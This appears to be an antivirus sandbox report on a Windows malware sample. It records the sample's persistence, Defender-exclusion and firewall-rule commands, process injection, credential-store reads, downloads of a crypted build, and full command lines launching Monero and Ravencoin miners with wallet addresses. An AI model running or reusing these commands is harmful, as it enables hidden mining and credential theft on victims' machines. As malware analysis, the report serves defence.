Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\updatertaskservice
Sets the following service settings
- [HKLM\SYSTEM\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%LOCALAPPDATA%\Microsoft\Updater\WinRing0x64.sys'
Creates the following services
- 'WinRing0_1_2_0' %LOCALAPPDATA%\Microsoft\Updater\WinRing0x64.sys
Malicious functions
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
adds antivirus exclusion with following registry keys:
- [HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths] '%LOCALAPPDATA%\Microsoft\Updater' = '00000000'
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\Microsoft\Updater' -ErrorAction SilentlyContinue"
Creates and executes the following
- '<Full path to file>' (downloaded from the Internet)
Executes the following
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="audiodgsvcRule" dir=out action=allow program="%LOCALAPPDATA%\Microsoft\Updater\audiodgsvc.exe" enable=yes
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="audioddgRule" dir=out action=allow program="%LOCALAPPDATA%\Microsoft\Updater\audioddg.exe" enable=yes
Injects code into
the following system processes:
- <SYSTEM32>\dllhost.exe
the following user processes:
- wmlaunch.exe
Searches for registry branches where third party applications store passwords
- [HKLM\Software\Microsoft\IdentityCRL]
- [HKCU\SOFTWARE\FTPWare\CoreFTP\Sites]
- [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]
- [HKCU\Software\SimonTatham\PuTTY\Sessions]
- [HKCU\Software\Wow6432Node\SimonTatham\PuTTY\Sessions]
- [HKCU\Software\RIT\The Bat!]
- [HKLM\SOFTWARE\Wow6432Node\Ghisler\Total Commander]
Reads files which store third party applications passwords
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\microsoft\edge\user data\default\web data
- %LOCALAPPDATA%\microsoft\edge\user data\default\login data
- %APPDATA%\opera software\opera stable\login data
- %HOMEPATH%\desktop\sdszfo.docx
- %HOMEPATH%\desktop\thlps_keeper_mayer_1965.docx
Modifies file system
Creates the following files
- %LOCALAPPDATA%\aohc\baftlfhg.exe
- %LOCALAPPDATA%\aohc\fynqdlith.exe
- <SYSTEM32>\windowspowershell\v1.0\temp.log
- %TEMP%\temp_archive.zip
- %LOCALAPPDATA%\microsoft\updater\extracted.exe
- %LOCALAPPDATA%\microsoft\updater\updatertask.exe
- %LOCALAPPDATA%\microsoft\updater\audiodgsvc.exe
- %LOCALAPPDATA%\microsoft\updater\winring0x64.sys
- %LOCALAPPDATA%\microsoft\updater\audioddg.exe
Deletes following files that it created itself
- <SYSTEM32>\windowspowershell\v1.0\temp.log
- %TEMP%\temp_archive.zip
Substitutes the following files
- <SYSTEM32>\windowspowershell\v1.0\temp.log
Network activity
Connects to
- '62.##.226.16':5553
- '21#.#99.57.38':443
- 'po##.#upportxmr.com':7777
- '62.##.158.10':54433
- 'mo#####.map.fastly.net':443
- 'co##############e-chains.prod.autograph.services.mozaws.net':443
TCP
HTTP GET requests
- http://62.##.226.16:5553/4c47a3605011424ebf27f53e0c08d1f8_crypted_build.exe via 62.##.226.16
- http://62.##.226.16:5553/485e2d56759149b4bb71c68cf7b89361_build.bin via 62.##.226.16
Other
- '21#.#99.57.38':443
- 'po##.#upportxmr.com':7777
UDP
- DNS ASK ti##.apple.com
- DNS ASK nt#.nict.jp
- DNS ASK nt#.time.nl
- DNS ASK gb##.ntp.se
- DNS ASK nt##.hetzner.de
- DNS ASK x.##.#in.ntt.net
- DNS ASK nt##.##t.berkeley.edu
- DNS ASK ti##.#loudflare.com
- DNS ASK po##.#upportxmr.com
- DNS ASK mo#####.map.fastly.net
- DNS ASK co##############e-chains.prod.autograph.services.mozaws.net
- 'x.##.#in.ntt.net':123
- 'gb##.ntp.se':123
- 'ti##.apple.com':123
- 'nt#.nict.jp':123
- 'nt##.hetzner.de':123
- 'nt##.##t.berkeley.edu':123
- 'nt#.time.nl':123
- 'ti##.#loudflare.com':123
Miscellaneous
Searches for the following windows
- ClassName: '#32770' WindowName: 'TeamViewer'
Creates and executes the following
- '%LOCALAPPDATA%\aohc\fynqdlith.exe'
- '%LOCALAPPDATA%\aohc\baftlfhg.exe'
- '%LOCALAPPDATA%\microsoft\updater\extracted.exe'
- '%LOCALAPPDATA%\microsoft\updater\updatertask.exe'
- '%LOCALAPPDATA%\microsoft\updater\audiodgsvc.exe' -o pool.supportxmr.com:7777 -u 49gq8ibvuN3LvMdbEU7iiyLzyhMMV9eU3KjUaDQBrhiRei8JCVYqXE6Ku1Evm1fmyRK23SZhbscLzRbhjURSKHZbBsk5Rp2 -t 2 -k -p bloutx --no-color
- '%LOCALAPPDATA%\microsoft\updater\audioddg.exe' --algo kawpow --server rvn.2miners.com:6060 --user RBY5ySpwVarrN7rA5n7MNSFJUZnu88TnpE.bloutx --intensity 30 --api 0 --watchdog 0 --color 0
Executes the following
- '<SYSTEM32>\schtasks.exe' /query /tn "UpdaterTaskService"
- '<SYSTEM32>\schtasks.exe' /create /tn "UpdaterTaskService" /tr "\"%LOCALAPPDATA%\Microsoft\Updater\UpdaterTask.exe\"" /sc onlogon /rl highest /f
- '<SYSTEM32>\cmd.exe' /c powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\Microsoft\Updater' -ErrorAction SilentlyContinue"
- '%ProgramFiles%\windows media player\wmlaunch.exe'
- '<SYSTEM32>\dllhost.exe'
- '%LOCALAPPDATA%\microsoft\updater\extracted.exe' ' (with hidden window)
- '%LOCALAPPDATA%\microsoft\updater\updatertask.exe' ' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /create /tn "UpdaterTaskService" /tr "\"%LOCALAPPDATA%\Microsoft\Updater\UpdaterTask.exe\"" /sc onlogon /rl highest /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Add-MpPreference -ExclusionPath '%LOCALAPPDATA%\Microsoft\Updater' -ErrorAction SilentlyContinue"' (with hidden window)
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="audiodgsvcRule" dir=out action=allow program="%LOCALAPPDATA%\Microsoft\Updater\audiodgsvc.exe" enable=yes' (with hidden window)
- '%LOCALAPPDATA%\microsoft\updater\audiodgsvc.exe' -o pool.supportxmr.com:7777 -u 49gq8ibvuN3LvMdbEU7iiyLzyhMMV9eU3KjUaDQBrhiRei8JCVYqXE6Ku1Evm1fmyRK23SZhbscLzRbhjURSKHZbBsk5Rp2 -t 2 -k -p bloutx --no-color' (with hidden window)
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="audioddgRule" dir=out action=allow program="%LOCALAPPDATA%\Microsoft\Updater\audioddg.exe" enable=yes' (with hidden window)
- '%LOCALAPPDATA%\microsoft\updater\audioddg.exe' --algo kawpow --server rvn.2miners.com:6060 --user RBY5ySpwVarrN7rA5n7MNSFJUZnu88TnpE.bloutx --intensity 30 --api 0 --watchdog 0 --color 0' (with hidden window)
